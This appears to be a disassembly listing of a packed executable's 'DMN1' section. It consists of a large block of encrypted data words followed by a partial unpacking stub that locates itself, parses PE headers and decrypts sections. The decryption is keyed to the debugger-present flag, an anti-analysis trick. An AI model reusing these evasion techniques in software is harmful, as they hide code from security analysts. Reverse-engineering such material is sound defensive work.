dd 5E2788FAh, 8A67A91Dh, 0C3E9CED3h, 0B838BE2Ch, 62675590h
dd 81B1C4D2h, 948136C5h, 314D4EC2h, 0B0964A09h, 1D67E9C9h
dd 96C62EE4h, 2D851209h, 5C670672h, 0FA2D8AC2h, 0CA59EF0Fh
dd 0A7813D2Dh, 248C6D83h, 8E9D53C4h, 0B66CE643h, 0CC025BBAh
dd 3A9A4E62h, 48DCE203h, 9DB7BC6Ch, 0BA867351h, 0ABCAE54Eh
dd 0E6AC32E9h, 46997838h, 0B6C99FA9h, 2897C5E2h, 7AE74E2Bh
dd 0DBC07661h, 394CD879h, 62B65F25h, 4D08610h, 0D0623E3Eh
dd 0F82902ABh, 0E43200ABh, 0B512E3A1h, 4D85C439h, 0E3D55BB5h
dd 0F50477FAh, 7CA60DF7h, 867EFD95h, 231E21A7h, 68BC6531h
dd 0EB5CEBB2h, 7CFDE87Ch, 464B38C7h, 79A316DFh, 0B03C5F8Dh
dd 714830C1h, 530E96EDh, 2FEF72C2h, 1FDA1B52h, 2E09EF8Bh
dd 83088F87h, 68DA525Ah, 6E7E23DCh, 7FDCD5C0h, 0E571778h
dd 81516474h, 682CCFA7h, 0CA9DA3D2h, 931BBC32h, 0C154F6B8h
dd 4452EC09h, 939FAF70h, 292D6FB2h, 0A007B436h, 0ABDA300Bh
dd 50FAE844h, 0BC1EA80Eh, 0B0974568h, 331F7999h, 0E79A05ECh
dd 9634CFB2h, 0B8FF24C9h, 0F67FC727h, 0CAEFD714h, 24DB0CD6h
dd 4B471B1Dh, 1905DB44h, 22F395BCh, 0DDC0927Ch, 5FF604C5h
dd 33C39Ah, 0F17D75C8h, 0CA26BBB9h, 9E7E9296h, 4111134Ch
dd 7A0A0E71h, 6DBD9545h, 0B38C3355h, 8976F173h, 1ECAD40Ah
dd 0BA1B847h, 0A23849Eh, 9A14EF5h, 831A7E06h, 2CE973A9h
dd 25E97DDAh, 754978FCh, 18732BCBh, 5DDD8C2Ah, 25D470ECh
dd 0EC64C66Dh, 6D4106CDh, 4BE14E31h, 0C0FC0092h, 1F050CF6h
dd 0D4293F89h, 0AB2F1C97h, 0F0FE6DBEh, 0A2ED6AFFh, 60B19C07h
dd 0F02F64B3h, 0D9F8E669h, 0A17EFB3Ah, 4C894DB2h, 0CA7640DEh
dd 0C1E9246Eh, 1A19ED2Eh, 0B32DD1BCh, 56916363h, 156EA18Ch
dd 0AD8356E2h, 0AF59D896h, 9AD33462h, 0AB1189F7h, 0DC0BBB2h
dd 59A8C29h, 0F47B00B1h, 0EEDECF04h, 0BDB33C99h, 3C199410h
dd 5F413405h, 0B2C7C8F5h, 0D88AE6F8h, 0F8AF73C8h, 60D4643Dh
dd 274903F5h, 0DBB60FA3h, 15009B24h, 94BFAF15h, 0D15D10EAh
dd 0A4D3264Bh, 0B4915DE2h, 0DD5B8E79h, 6BBAEC25h, 0BE8FCF96h
dd 0E3665AA4h, 0D6FACC02h, 4C399433h, 0F2E5113Ch, 4581C84Dh
dd 0E6D7C6Ah, 427C7F3Dh, 357A087Ch, 748C34A2h, 0BBFE026Eh
dd 0EC85341Ch, 999185DAh, 33356F72h, 0A469487Bh, 38FEB334h
dd 51C05CCAh, 0CF884366h, 5586EDE4h, 4F9BBFF3h, 0D3F70123h
dd 0DB238FAAh, 88F1916Fh, 0EDA36DE0h, 72DE9CDEh, 0D2C7C7E5h
dd 0BA9F5D43h, 1BF9D6B1h, 6196B63Bh, 0FA33F064h, 0D36C2358h
dd 70E587B8h, 0F5453055h, 77FD13A2h, 0B74EEBB0h, 9D291254h
dd 92241DAFh, 0C20C1379h, 2B84B96Ah, 3ACE66Ch, 48FB1A17h
dd 6D2D4FFAh, 0EB58C496h, 9309E11Eh, 0E2A8932Eh, 9885FA8Ch
dd 0E1E76C3Eh, 0EDC323B6h, 0BE3707B6h, 48F0E25Bh, 0EAE2CB7Fh
dd 854A913Eh, 0B230CF9Ch, 3F5D4E46h, 0FE39EBDCh, 0B775D1FBh
dd 0A19470DDh, 0F619010Ch, 0F8B3A303h, 6C29E449h, 4C2347CEh
dd 6CDEC96Bh, 61A1A412h, 0E144A0B0h, 7CB44AFDh, 1AC43DC0h
dd 9F676044h, 0CEA864D0h, 2BB46867h, 0CC623298h, 0F34738AAh
dd 65EB9D21h, 0D68C779Ch, 0E64B7671h, 0F92FB0F3h, 0A04519B3h
dd 3EF2A2BFh, 2AEE538Bh, 0ECD67AF9h, 86CA3929h, 79D0FA31h
dd 5BABDE38h, 3D5BCC20h
dd 0BC32FC4Ah, 0F432F82Bh, 1EEEDCDBh, 0F755DDE5h, 0E64043Ch
dd 72E610h, 0CD301F31h, 9B78F3F3h, 0E548592Bh, 2755D2E1h
dd 90287B8Ch, 8111DB05h, 0EF2F84A6h, 9D44E7B5h, 20597E94h
dd 223C9285h, 1C4C1C57h, 0AA5BD69h, 94B5FCF4h, 868602D1h
dd 327AD3D4h, 14CDA653h, 48CAECF7h, 0F1174F97h, 0D6FA0D6Bh
dd 4EA1B466h, 0B77483F8h, 0A6DBAA1Eh, 0C47006BBh, 7D0DF578h
dd 2E7840A4h, 0DEAD2834h, 0F456B0C0h, 81B539D0h, 8D527FA9h
dd 7717E610h, 928CE543h, 0BFEF094Fh, 32C95AE3h, 0D3965097h
dd 0F6D2C91h, 0DD32033Bh, 45826A09h, 71B5BFB5h, 2BE20E2Fh
dd 3E6E7EB0h, 0A77A1FD8h, 15B14035h, 470503CBh, 36226DE7h
dd 97501108h, 0FB83C095h, 0DE357DCCh, 0BC98CF96h, 334D2C21h
dd 6593815Ah, 0FB7532E4h, 88C5A1D8h, 192F8B7Ch, 7A783AF7h
dd 66FA8AFFh, 95463FCh, 268D286Ch, 4A7CC4B7h, 1A18C6CCh
dd 8BCF6F19h, 68E096A3h, 5D164F0Eh, 0D256CBD3h, 49C9842Ah
dd 0F50FB018h, 596ED12h, 0FBEF02C8h, 1268118Bh, 3FB2CC97h
dd 8EFD9332h, 9E756C96h, 73E04265h, 6B934A4Dh, 0C4BE7E74h
dd 0D2BCDB07h, 5E9B03EFh, 0A07DE7BFh, 0DEBD4F49h, 8A7C1B4Fh
dd 67C7E77h, 2481D26Ch, 0D10358C6h, 0D8626545h, 0A4371E1Ch
dd 0BC80908Ch, 5793FB96h, 0DE55B1AFh, 0C86536A4h, 22AB866Ah
dd 8C24DD54h, 0F5336122h, 5E4AF4C3h, 0F0700743h, 0BF1D4C18h
dd 48296CB0h, 7510A42Ah, 0E064EFFAh, 84ABA598h, 0BDDF8A74h
dd 0E97A591Fh, 3619A18Bh, 58BED6ADh, 4D3D07EBh, 479616C4h
dd 37DEC8A7h, 0AF15AA73h, 0F874905Ah, 6074DC8Eh, 63AF05C4h
dd 5B4A3612h, 0A598F535h, 8E2E0F31h, 5E3BA91Ah, 6165ADC0h
dd 78871FF7h, 946ED069h, 39B34D50h, 0AC572B34h, 7CEC4CD0h
dd 0A8945326h, 6EDE14BFh, 80F8B500h, 0E9E6656Ah, 7F4A97D6h
dd 43515120h, 868E761Ch, 0A14CC4B9h, 528EDD70h, 13B50D2Fh
dd 0D60EDD75h, 3B01200Ah, 9A1A23E5h, 1356913Ah, 0A4D3EC7Fh
dd 6D2712ABh, 40A3393Fh, 0EB748BABh, 8E0D5B28h, 0BD102445h
dd 3CF0E0B0h, 0EF4D7C15h, 0C5DB8C11h, 0D9451A0Bh, 59A69F09h
dd 36FD224Ah, 0F1B3261Bh, 0ECEE546Ch, 1C54E47Ch, 0B0265F9Fh
dd 9FFFEACDh, 0E333C3F6h, 3212DEA5h, 0E8DD3880h, 95B443F9h
dd 0C9B80771h, 1438B7AAh, 0CA5FE8DEh, 472B4446h, 0E6F732D4h
dd 2B3C1E26h, 0D333A935h, 3B99D7Fh, 2D229566h, 758E275Ah
dd 0D9481D6Fh, 0D3CCD499h, 46D9647Ah, 0F78527BAh, 40C1155Dh
dd 2C9596B1h, 650B2F76h, 2E1F0BAh, 8B98010h, 0EEBA458Ch
dd 328CEFFAh, 3E2771A9h, 0B13B3E28h, 0CA8BE4A5h, 50DA6C6Eh
dd 0CBCC81D2h, 0A3E3D85Bh, 0BCCBB78Bh, 214DE242h, 5FAC1F12h
dd 0FC4C071Bh, 0D800E496h, 0BF86282Ah, 0F6A22C2Ah, 74AD2CB3h
dd 0E02A5A40h, 6F9A7116h, 35910BC9h, 3673CA69h, 34088573h
dd 59F3F0F0h, 0C5BB7748h, 0C1705007h, 0B1F5FCF4h, 64641DC7h
dd 0FFA5B9BCh, 0F9EC746Dh, 0F5720184h, 1698CE26h, 0F9F6847Fh
dd 0D1801A51h, 1DDA7404h, 888FC522h, 7108CEB3h, 2A50DCE4h
dd 515C6E01h, 0D5399000h, 984393D7h, 9B97A74h, 6A5CA8A7h
dd 6447EEA8h, 0C6203A03h, 910C7C6Dh, 57C50C13h, 6D211467h
dd 373C0428h, 75A302ABh, 3F6DC0B0h, 836E8625h, 4B353787h
dd 0D36A8F9Ah, 0E9BDDF4Dh, 649C254Ch, 6B3DA1FBh, 0BF9A31F2h
dd 293D939Dh, 983168CAh, 7E770825h, 56FC1C3Bh, 9218307Dh
dd 0C657CE75h, 0FFE8D944h, 0EF824F75h, 0D0A9B942h, 62EBFFEBh
dd 295D6570h, 48E2C4B1h, 0A264360Fh, 211E4CB7h, 2905E3E1h
dd 13DBCC81h, 94D57963h, 0CA02C44Dh, 23886590h, 27354D5Eh
dd 91B8954Fh, 0F46F5EAh, 185D69E4h, 9D31C7B9h, 85E523C0h
dd 9174EA32h, 1FA9EE69h, 0A89BECCFh, 778BC50Ch, 3B4BFBD1h
dd 63ED3D11h, 85D3AF76h, 0FDC87329h, 0A7D32374h, 0E2C17D9Ch
dd 0C49DA2D3h, 0DFAC4A3Fh, 0BA23B4AAh, 24D29763h, 519BF22Ch
dd 698D9EB7h, 95B62914h, 0FC8BE4Dh, 45DAA0C2h, 51DFB020h
dd 48D30D92h, 0FD991ED2h, 0C9C461BAh, 0DD0041DCh, 41B505DDh
dd 283D2D0Ch, 2EAE3625h, 0B0BDFC1Ah, 0C5A61CA2h, 0ABC1D330h
dd 9ED87D35h, 8A6A5B06h, 0D48EF352h, 66D1FDE4h, 227F33FDh
dd 0A5ADBF8Ah, 0B8787F27h, 86E45F4Dh, 2724A0F7h, 0DA37EB66h
dd 98999B10h, 8D6DAE30h, 26D23783h, 29489FD7h, 21CB73EDh
dd 84229EA4h, 0F4CAB9FEh, 0E99212EFh, 1D775ED4h, 0CD125809h
dd 3BAA59E2h, 41BB133Fh, 0C747C4C7h, 338E4658h, 0D4726DB0h
dd 0D43EB3F7h, 555C9D6Dh, 6E9E9098h, 75B7C868h, 97A802B1h
dd 0BE0BFC3Eh, 3527718Fh, 271106CFh, 6129A7CBh, 293CA0FBh
dd 0FAE90B6Fh, 3DAC3111h, 0C4B02903h, 9A12338Dh, 6C3F828Eh
dd 0FCBEE10Fh, 0A4111491h, 0B6A1D40Dh, 0EF26CC5Dh, 5ED3B37Bh
dd 64BE8611h, 0ED0B57C5h, 0E6E0F703h, 2486221Ah, 0A22C3358h
dd 0D2EEB107h, 35F6E3DBh, 1D659329h, 0F6EE7332h, 0C95D2E1Ch
dd 0C3E937A6h, 0C9FADDAEh, 79EFB486h, 0F57D8C5Eh, 0A285575Dh
dd 50841BF1h, 1E6ADC42h, 0D3C385C5h, 89EBB572h, 935C6240h
dd 0D2A85832h, 0D2F54F7Dh, 0A9159F2Ch, 0E389BEB7h, 9E4031D7h
dd 0E817E0Ah, 7B191F00h, 0A00B94F7h, 1134B27Ch, 0FD2FB15Eh
dd 0F0350457h, 368E180Fh, 65BD407Fh, 4DAAA0Ah, 4F7508E9h
dd 0AA1B2FB3h, 0F7771E76h, 0C6404F97h, 97C95B97h, 64375D37h
dd 7F802E9Ah, 2D5C5EADh, 0B6313088h, 7BC533AEh, 31091453h
dd 1E6BC1BEh, 1C9D3A14h, 13420649h, 0C120828Dh, 0E28B63E6h
dd 0B63B2C1Ah, 0BF5DE68h, 821D8E14h, 0CB946CDBh, 0F4AA753Bh
dd 0B6736EBBh, 6D93A5A6h, 3FDD949Dh, 0B419E329h, 908AF760h
dd 7F9BEAB4h, 0BE958256h, 0AAF9DD94h, 835A14ACh, 0A489C00Ch
dd 0BAEEF907h, 5198E7B8h, 24C36148h, 5606FB1Dh, 83B482B0h
dd 389C507Ch, 0C44F3451h, 9C5C4658h, 0ED80E76Ah, 5F6BAA86h
dd 590192h, 2053EB2Ah, 0BDE77CA2h, 7E1583D1h, 2F144BDAh
dd 99025Ch, 9605F129h, 5E5E7D93h, 0BE0D3CE0h, 0C0C28C1Bh
dd 0C8BE7830h, 5EAD5D40h, 13B30B26h, 843E9CBFh, 8B9EB1F8h
dd 25E3104Ah, 7D347DDAh, 662E3EDCh, 7A4AF03Ch, 631E8DC9h
dd 472BFE2Eh, 5B24F0D2h, 22201B5Ah, 0C4DDBE82h, 14904AE1h
dd 0C8D1F7ADh, 320240E8h, 0A6999979h, 5576ACACh, 7BC87CDCh
dd 18C92FADh, 6393ADE9h, 88DB06A5h, 8754D88Ch, 0DD4A8249h
dd 7618E1A2h, 5E604C7Dh, 5E224204h, 3369DA46h, 0C4AAE0F0h
dd 47B57851h, 175D650Ah, 1FF366Bh, 8ABF3F12h, 1C44D130h
dd 197322CEh, 0EB4E8197h, 3FDF77DFh, 0F6A2CACCh, 0FE5BCAD5h
dd 1E67B566h, 0C048E00Bh, 1566D58Dh, 27A1A5ECh, 0FD0F7A39h
dd 669C8705h, 0FA7CE10Bh, 0A3690347h, 135E9637h, 982CBD60h
dd 2B5D67E5h, 0AB9E06A5h, 76C75C1Fh, 0C04A2B5Fh, 0B229AE63h
dd 44079543h, 2FC18F71h, 487B4399h, 25FED925h, 825ACE68h
dd 908C0DDDh, 387A31D9h, 2F7FD7A0h, 0EE116579h, 0FF9FC58Dh
dd 6B325B89h, 5A615A1Bh, 0C917D33Bh, 0E4988B95h, 0A579EC62h
dd 2819136Ch, 506C3A26h, 0F484717Dh, 0A8A0BC5Ch, 4F34E664h
dd 0FA15782Dh, 2733B7FFh, 4FCAFD4Eh, 8ED85BAh, 5B0E6F75h
dd 84D01CE1h, 0B71D9113h, 63E6486h, 0E857D84h, 0FC165703h
dd 6E2CC73Eh, 7357A71Ch, 0B78266C4h, 0B3CFD449h, 0AC72C135h
dd 1535FDC0h, 6F945A81h
dd 0D3E1CD21h, 7F63D3E9h, 0C8EF21E3h, 0AAE50B6Eh, 2A5A2723h
dd 3C637B41h, 0B09EF893h, 0E2432C78h, 488BC5C2h, 8AFB3469h
dd 0C572875Eh, 21AF66F5h, 0CF09C900h, 6251D474h, 0B51D469Ch
dd 4B028352h, 57FEED87h, 68AAE893h, 0A96861CAh, 0B26C4630h
dd 0C5B570F3h, 37A973A6h, 0F8CC11AEh, 9B314B98h, 2C65B218h
dd 0A1DC428Eh, 38AE2246h, 0FF9D6D5Fh, 750BA8C5h, 34037BBDh
dd 0DA33A68Dh, 39253DCAh, 69A23C11h, 16C0C4FCh, 0CB9DBA76h
dd 0A59F096Ch, 0AA4F6952h, 50ABCA38h, 284853C6h, 0E431E4F4h
dd 0A11C8410h, 95A8B584h, 40FACD46h, 3FF3F855h, 0C29A10B9h
dd 9B32A8FDh, 0A92C356h, 0D927DA6h, 0D69899F3h, 7368AA5Bh
dd 562F740Dh, 0AFC65505h, 0AC19A81Bh, 0FA00C4DAh, 5E0D4FA9h
dd 78D32E22h, 89645D7Eh, 0B11CADA4h, 414134E9h, 98BE4E54h
dd 0BD412915h, 5B20E853h, 365D8274h, 0FAC00EF4h, 50DBDFF1h
dd 8F7FC0A5h, 197B61FAh, 0B83D01EBh, 0A2D4A168h, 0D9343E3h
dd 0F5E997BCh, 8714DCC9h, 2EECB9E7h, 6B1DD05Dh, 0D1272BA7h
dd 38DE03D6h, 0F6BF8C26h, 0A35EFB4Ah, 0F79A65AFh, 18789C61h
dd 1075F8B3h, 5EE341FCh, 0ABEAAF66h, 8B0546B2h, 0AF2C3C44h
dd 0E89AB071h, 0D3C4FFE5h, 0A85A8C2Eh, 13D6184Ah, 388B4F75h
dd 56C050BFh, 2ACB2453h, 0A93CA555h, 4C4BA94h, 0DE15BBE6h
dd 0CA749355h, 0A6A05249h, 92824C02h, 356B8DFEh, 50F80005h
dd 6F1131D1h, 24DB8ABh, 0E5A8D441h, 9FCC45E7h, 0C37AE6E9h
dd 341C87A9h, 745B981h, 576D04EDh, 266EA3C2h, 0B9E969C8h
dd 26F570C0h, 0CFEC16BAh, 44487B69h, 6D025BCEh, 387D8FB2h
dd 24BACD5h, 6791297Fh, 8683A642h, 6A832A5Dh, 0DB20CC4Eh
dd 0D5D31FD6h, 44B27AFh, 57A9F8D2h, 21B086AFh, 7B1B49CDh
dd 0C31EB375h, 9A502174h, 0D674CCDDh, 34BF9326h, 398FA4AAh
dd 4768C97Dh, 0E17E1EEEh, 9CAE4AECh, 6638BA1Ch, 41E7D110h
dd 6FC0AF7Ch, 0C642FE33h, 82DF33FBh, 17179619h, 0D57E303Ah
dd 76D0B381h, 785398C5h, 0B8566DF4h, 0FDE09854h, 70A9AC21h
dd 44E0FBBEh, 1C22761Dh, 63DB2004h, 69B068DFh, 0F13E650Bh
dd 8E9D90E9h, 8FF9CE2h, 0B8938ED2h, 0C0914D2Ch, 0EBCE703Eh
dd 0BE70F55Fh, 84C4FBABh, 7E954759h, 0A35406FEh, 0F4E65488h
dd 0B4EF33E0h, 33697DEEh, 0BEF87E98h, 5223F9CFh, 262CFDD6h
dd 0D3E948CBh, 0B1E1E8F4h, 0AEE545BEh, 26D9CF2Dh, 0EA0B8999h
dd 3BD1430Ch, 58F0F6DEh, 0C3612866h, 7DE8172Bh, 69A8BD14h
dd 33BC7E6Fh, 35FB1CE0h, 5A251CB5h, 76F21764h, 43A93CF1h
dd 4425E5BAh, 4715FD9h, 5AB6817Eh, 0C6CE0400h, 0A870249Ah
dd 0C4894C14h, 281B1160h, 16537A3h, 0E0BAFA1Fh, 3065FAA5h
dd 1E0A2021h, 7EF1D788h, 129672EBh, 0BD39F9A0h, 0D851F0DEh
dd 3426B762h, 0AE9CA40Eh, 1E09D694h, 3C4217DAh, 0A6DB531Ch
dd 0D3FD0D3Fh, 96737A7Fh, 93B75596h, 8978B21Bh, 69BEACC6h
dd 9D676697h, 3D2254EBh, 0DE1769A6h, 6FE94A11h, 69668829h
dd 653C9C90h, 0B465768Ch, 0D92F8C81h, 0B4BA4EF8h, 8A09BD66h
dd 0D4ACDEFh, 0ACB83CCEh, 0B8716C48h, 7CC8AF94h, 0B8B0719Bh
dd 0AB37A052h, 0D0031EE6h, 4120291Fh, 5977AE07h, 79848B9Bh
dd 2B4E1DD9h, 63A4DD35h, 3657A873h, 0B412973Eh, 0B79B134Fh
dd 0B27F25B7h, 7C6D6E8Fh, 0E92697A3h, 4FB65FCDh, 7A064782h
dd 0AB978342h, 664AEE26h, 0B4179089h, 5D53ECAFh, 4C0EF990h
dd 0BE9F5229h, 3FD7F0ADh, 59B84EF2h, 646F12Eh, 7F794D5Eh
dd 17A26001h, 9DFE0365h, 43424917h, 1EEE7D5Dh, 26FA0FDCh
dd 0E59457A2h, 0FA8286C9h, 39F1CB0Ch, 0B8F0D581h, 0B16679C7h
dd 0F5DEBB94h, 229CE559h, 149E79Fh, 76B8C9D7h, 0C7472F8Fh
dd 749E42B7h, 5DB564BEh, 2B5F8DE4h, 6965C401h, 0DFACFAF5h
dd 0BD47882Ah, 0D91D4EDCh, 0C0BE0BB0h, 0BFF30718h, 0C5F2ABFBh
dd 5C65BDC9h, 3E094950h, 0EE38C308h, 0DC73E197h, 45A7FCF1h
dd 4942FC56h, 581B2CB7h, 0A7E07EA9h, 0F4DB1AE4h, 0BFC8E1C6h
dd 4B6786Dh, 0DB6DD27Fh, 245FD952h, 0C25C51CAh, 5ACC2B92h
dd 0CBDC782Eh, 3417F872h, 0D91A4547h, 5E9018BBh, 0F6F9D15h
dd 0DEE4C661h, 36DC4A8Fh, 3D10A7F1h, 0F9BDB992h, 0AF12CE82h
dd 0A9432BF8h, 0FAF10579h, 0D99B5FEh, 0FFB76CF0h, 0C80C2726h
dd 357C6061h, 950BD2A0h, 0D9DFB05Bh, 0ADC634F2h, 60124550h
dd 0CEC7E35Bh, 42F068E3h, 0D9A47308h, 32D830D5h, 55CCA75Dh
dd 3921427Bh, 96730D0h, 981CA9F5h, 0E989F77Dh, 0F17D63F3h
dd 5B04C171h, 0C171340h, 9687BED0h, 8CF6F888h, 0B896DA9Eh
dd 0E5AECFE9h, 563E13C1h, 96E99B70h, 65298AEAh, 34760EC9h
dd 84A493B6h, 0EA386896h, 4C3E0DD3h, 0E5789745h, 2DE31C13h
dd 0EE4FAFDCh, 0A1473BCh, 0C1A902D9h, 7DDF0DB5h, 0AF0C7FA4h
dd 842D907h, 0ADCACF18h, 7AA82C8Eh, 0A5EB05A6h, 3FA5B58Eh
dd 9FB6DEC7h, 2EFD54ACh, 0CEF277EDh, 7A06E2E4h, 64D99B92h
dd 7AE07DB0h, 557F558h, 0C0AB6EF7h, 9523E8EAh, 0FD33D4B3h
dd 93F83471h, 1527150h, 662731C5h, 8542B962h, 544E2082h
dd 0FABB5443h, 7EEE3CC0h, 9B39E1D0h, 91C06B36h, 1C724ACEh
dd 0D5353F22h, 0D32224D1h, 0A6159A9Ch, 4CB35B6Eh, 86C096A1h
dd 2316EB18h, 0BC6E3C19h, 0E579C5A7h, 0FAA9BBC5h, 78ABDCB9h
dd 13D5BBD0h, 6DD2AD9Dh, 0B2973EFh, 5CE72357h, 0AC3DC939h
dd 97B8810Bh, 28CC30B3h, 761218A9h, 0E63BB86Ah, 749A1F92h
dd 0FB13DA72h, 87C89409h, 83554204h, 0A272BBC1h, 0AC9B9E49h
dd 93B3035Eh, 0F83C12E8h, 0B5FF3FDCh, 9BCEFE2Ch, 0F07BCA09h
dd 3DECCE20h, 6C78656Ah, 8D1A11EBh, 0D7DD1681h, 9B67C4CFh
dd 1039711h, 0EB2ED182h, 0ACDA67DFh, 2BECF193h, 772BE640h
dd 44526065h, 600C6A1Ch, 2DDD470Ch, 0B77764Dh, 29CD7A23h
dd 4B2BEC54h, 683C5D30h, 0A7BBD01Eh, 531B7CA1h, 6B2F54BAh
dd 9FF44302h, 0BF874E62h, 0ED548A91h, 0C423ED9Ah, 27D9E82Dh
dd 468C348Ch, 0A97C7888h, 10B02B2Bh, 2468DA57h, 27F896CEh
dd 0F7FB7ECh, 89B896E2h, 0C6FE5EE0h, 0FC155D4Fh, 0F02EE089h
dd 67A5A5CAh, 666F9663h, 8A88458Eh, 833B0FB9h, 0C0339EB1h
dd 4B74E67Eh, 0C163DA52h, 11A90A7h, 0DBA045CEh, 0FFAE630Ch
dd 803ED7C0h, 21E46510h, 840EB8CFh, 8949B588h, 0E15D6787h
dd 0D8ECCB77h, 0FE684A85h, 8D5C081Fh, 9C266819h, 0F4DB0F20h
dd 0BE1F89AAh, 59E798F6h, 0F1B28EA7h, 2CED4933h, 5B2EF813h
dd 0E2DCDABBh, 548154D9h, 0B44F3D82h, 0ABEEF2C5h, 0BABB4271h
dd 424EBCBBh, 0DDCF52B4h, 0DEA1A62Eh, 5E77270Fh, 0C470C05Ch
dd 0A0BE0603h, 0ACD8EBD8h, 0FB21FE19h, 0A7EF05FDh, 0DCF979EBh
dd 1C150C6Ch, 7EBBC9F0h, 0E32A1159h, 0AA525AC9h, 0ECF4C3CEh
dd 0EF0F95E1h, 0E8B41B93h, 0DE413213h, 506EEA1h, 85C23970h
dd 0C4B24619h, 3E8EC2F1h, 0BE722603h, 0A5B05B6Ch, 0E5AC6CCFh
dd 0B0C0C643h, 0CC34397Bh, 0BFC3971Eh, 3F76B3BDh, 87F4888Fh
dd 23E01F51h, 5EE9F4Eh, 66C83211h, 0D895B978h, 0DB7B61CAh
dd 7D1FAFACh, 0A8B9566h, 0D6E3543Eh, 1AAACF6Dh, 0DEC37A3h
dd 0ADEBA8AAh, 2E82D2ECh, 3B9339F1h, 7E845841h, 3CF78DAAh
dd 0CADDC6E0h, 7D3F0E49h, 0E0ADF811h, 4D010D47h, 0DE642237h
dd 3A8E640Ah, 40B89816h, 3E95E9DFh, 0B1D8B201h, 0B4E829F2h
dd 0C6E83A45h, 1B1F5FDDh
dd 0F6B4EFAAh, 629E7791h, 0ABE7E97Ah, 346B66BFh, 0F91FDA01h
dd 9175A527h, 804E28EBh, 231F1A8Dh, 9A7441AEh, 49BB586Ah
dd 66ED4B4h, 30EC7984h, 0F52E07ACh, 287D728Ch, 795832ECh
dd 8360373Ah, 4BB1FFA1h, 0E98ED902h, 0D0E4DA04h, 0B35C6AB0h
dd 1BBB7B0Eh, 0D5D6C94Ah, 0E7669B5Ah, 0FC29D9D7h, 0F88C6BA2h
dd 4BD12BF3h, 95C8FCDDh, 1D8EC935h, 0E82BF819h, 59660A37h
dd 52F46297h, 0EF390369h, 0FDBCE4B5h, 266713D8h, 229BE681h
dd 7FBBA9A3h, 0B61B324Ch, 0EE11817Bh, 0EF61EE9h, 8694AD2Eh
dd 0B917EBCDh, 18D63B15h, 7BFBB63Ch, 0D606BDDEh, 4B4D0ED5h
dd 0C95B33F2h, 0B6FA120Ah, 4E0BF6D4h, 36D40881h, 6BCAD00Bh
dd 8DAFC3D9h, 0CA775B25h, 0DA90DA1Eh, 0E4994B3Eh, 0F08BD04Fh
dd 353E4357h, 6D3CDAF7h, 0C7E6DB4h, 56F44D17h, 6540202Ah
dd 0BF4922F0h, 0E23BB579h, 3F2083ABh, 84714391h, 165ECBACh
dd 8781A1h, 19728D80h, 0B7EF1251h, 0C93F3458h, 6E9C9C0Eh
dd 0A895CD9Ah, 7951C4F5h, 1CD86079h, 0A96CC9CBh, 93650AE8h
dd 438A6A90h, 77915CD6h, 0D576FCD0h, 12527850h, 268331C1h
dd 0D7C1191Bh, 20404560h, 0F2F490ECh, 9323875Ch, 0A7B0F814h
dd 0A0E34C65h, 0C9C63FFBh, 0DAC44431h, 0D6842143h, 0EF3E3A8Eh
dd 4FBF4FD4h, 0AB435C62h, 461D57F6h, 43C09413h, 0D4C7F51Dh
dd 96CB3DC9h, 30187217h, 9C4FD92h, 79B07813h, 0B40F4062h
dd 60FBABB0h, 0E61A5F98h, 78793C18h, 8FA54FADh, 0A9F5904Fh
dd 26E46160h, 70AE3D4Eh, 67F576DDh, 6A14EE78h, 0E6C86007h
dd 1DD85B34h, 24CF72F9h, 6354C069h, 951F0A76h, 99603864h
dd 40A45508h, 72ADEBD6h, 1EE0E8CFh, 0B3495BF0h, 5ED8A6F0h
dd 0EF5FB124h, 5D00E81Dh, 0E86316CFh, 264E5A07h, 12494D5Ah
dd 0BD0F4E50h, 86B01FB4h, 69306123h, 7D5FF261h, 892A5CFAh
dd 0F980FBE5h, 7172B845h, 2344993Eh, 648B0C4Fh, 0B55F29DBh
dd 72C3216Eh, 0BF6BAF07h, 44B06A5Bh, 0B286EC0Bh, 4678B01Dh
dd 67B39C07h, 2F13FE7Ch, 0B5CF457Bh, 1E10306Dh, 3BDF7382h
dd 50502C32h, 0FA8639CAh, 4115881h, 0E274ADDFh, 0BA0EC33Bh
dd 63CB7EFFh, 6FAF2C2Ah, 0D7495482h, 0E3803A94h, 7227BF67h
dd 9D585AEFh, 0DC002C96h, 7BB6FC40h, 0D043473Eh, 0A1B71C07h
; ---------------------------------------------------------------------------
loc_469C00: ; CODE XREF: DMN1:0046BBFDj
push ebx
push ecx
push edx
push esi
push edi
push ebp
mov eax, 4000h
mov ecx, 1000h
loc_469C10: ; CODE XREF: DMN1:00469C22j
xor eax, ebx
sub eax, 0B0B1560Dh
add ax, cx
ror eax, 7
add eax, 0DEADC0EDh
loop loc_469C10
cld
call $+5
pop eax
mov ebp, eax
sub ebp, 2Ah
sub eax, 68C2Ah
lea esi, [eax+40B81h]
mov [ebp+2CAh], esi
lea eax, [eax-1000h]
mov [ebp+2A6h], eax
mov edi, [esi+3Ch]
add edi, esi
mov [ebp+2B2h], esi
mov [ebp+2B6h], edi
pusha
call sub_469F18
popa
mov eax, [ebp+2A6h]
mov edx, [eax+3Ch]
add edx, eax
mov eax, [edx+28h]
add eax, [ebp+2A6h]
mov [ebp+2BEh], eax
mov eax, [edx+50h]
mov [ebp+2C2h], eax
mov edx, [ebp+304h]
mov [ebp+2BAh], edx
mov eax, [ebp+2A6h]
mov [ebp+2AAh], eax
sub eax, [ebp+300h]
mov [ebp+2AEh], eax
mov ecx, [ebp+30Ch]
mov esi, [ebp+2B2h]
mov edi, [ebp+2AAh]
push edi
loc_469CBF: ; CODE XREF: DMN1:00469CCDj
lodsb
push ecx
mov ecx, large fs:30h
sub al, [ecx+2]
pop ecx
stosb
loop loc_469CBF
pop edi
mov eax, [edi+3Ch]
add edi, eax
mov [ebp+2B6h], edi
mov eax, edi
movzx edx, word ptr [eax+6]
mov ebx, eax
add ebx, 0F8h
loc_469CE9: ; CODE XREF: DMN1:00469D1Ej
xor eax, eax
mov edi, [ebx+0Ch]
cmp edi, eax
jz short loc_469D1A
mov ecx, [ebx+10h]
jecxz short loc_469D1A
mov esi, [ebx+14h]
cmp esi, eax
jz short loc_469D1A
add esi, [ebp+2B2h]
add edi, [ebp+2AAh]
loc_469D0A: ; CODE XREF: DMN1:00469D18j
lodsb
push ecx
mov ecx, large fs:30h
add al, [ecx+2]
pop ecx
stosb
loop loc_469D0A
loc_469D1A: ; CODE XREF: DMN1:00469CF0j
; DMN1:00469CF5j ...
add ebx, 28h
dec edx
jnz short loc_469CE9
mov eax, [ebp+2AAh]
mov [ebp+2B2h], eax
mov ecx, [ebp+2FCh]
jecxz short loc_469D3C
add ecx, eax
mov dword ptr [ecx], 0
